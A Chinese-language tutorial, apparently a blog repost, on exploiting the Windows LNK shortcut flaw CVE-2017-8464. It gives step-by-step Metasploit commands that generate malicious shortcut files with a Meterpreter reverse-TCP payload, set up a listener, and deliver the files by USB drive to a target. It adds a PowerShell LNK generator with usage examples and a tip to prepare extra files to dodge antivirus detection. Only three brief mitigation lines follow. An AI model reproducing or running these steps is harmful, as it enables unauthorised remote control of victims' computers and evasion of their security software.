早在6月13日,微软发布补丁修复编号为CVE-2017-8464的漏洞,本地用户或远程攻击者可以利用该漏洞生成特制的快捷方式,并通过可移动设备或者远程共享的方式导致远程代码执行,追溯到以前,NSA就承认利用过相似漏洞且以“Olympic Game”为代号研发震网病毒,来阻止伊朗发展核武。
CVE-2017-8464漏洞影响版本:
Windows 7 Windows 8.1 Windows RT 8.1 Windows 10 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 Windows Server 2016
利用
1)在Metasploit-Framework中利用CVE-2017-8464
1.首先下载最新的zip包【点此下载】,下载完成后将压缩包内modules/exploits/windows/fileformat中的cve_2017_8464_lnk_rce.rb复制到目录/usr/share/metasploit-framework/modules/exploits/windows/fileformat下。
2.仅复制rb文件会出错,须再将压缩包内data/exploits中的cve-2017-8464文件夹复制到/usr/share/metasploit-framework/data/exploits中。
3.打开终端
代码语言:javascript复制msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
exploit
之后/root/.msf4/local中就会生成我们想要的文件了,生成这么多和盘符有关,都留着也不占地方。
4.继续输入命令
代码语言:javascript复制use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST [你的IP地址]
run
5.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。
演示:
*2)PowerShell
这个使用Powershell的方法并非先前网络上流传的CVE-2017-8464复现方法。
首先下载Export-LNKPwn.ps1 <点击阅读原文查看该文件>
注意:
-需要4.0或以上.NET库版本,作者使用了一些只有PowerShell 5.0才有的构造函数(如new()),他打算将版本要求降低到.NET 3.5 和PowerShell 2.0,这样的话模块在所有目标环境中都能被载入内存。 -作者想拓展函数,让用户可以生成原始的震网LNK exp(CVE-2010-2568),并解决绕过问题(CVE-2015-0096). -杀毒软件会处理你的LNK,多准备来躲避检测!
参数说明:
LNKOutPath:本地保存LNK文件的全路径。
TargetCPLPath:本地/远程目标cpl的全路径。
Type:所使用的FolderDataBlock类型,有“SpecialFolderDataBlock”和“KnownFolderDataBlock”两种。
使用示例:
代码语言:javascript复制C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type SpecialFolderDataBlock
代码语言:javascript复制C:PS> Export-LNKPwn -LNKOutPath C:SomeLocalPath.lnk -TargetCPLPath C:TargetCPLPath.cpl -Type KnownFolderDataBlock
演示视频:
3)Python脚本
使用较为方便,点击阅读原文查看。
C)防范
1.及时打上相应补丁
2.关闭USB自动播放
3.安装杀毒软件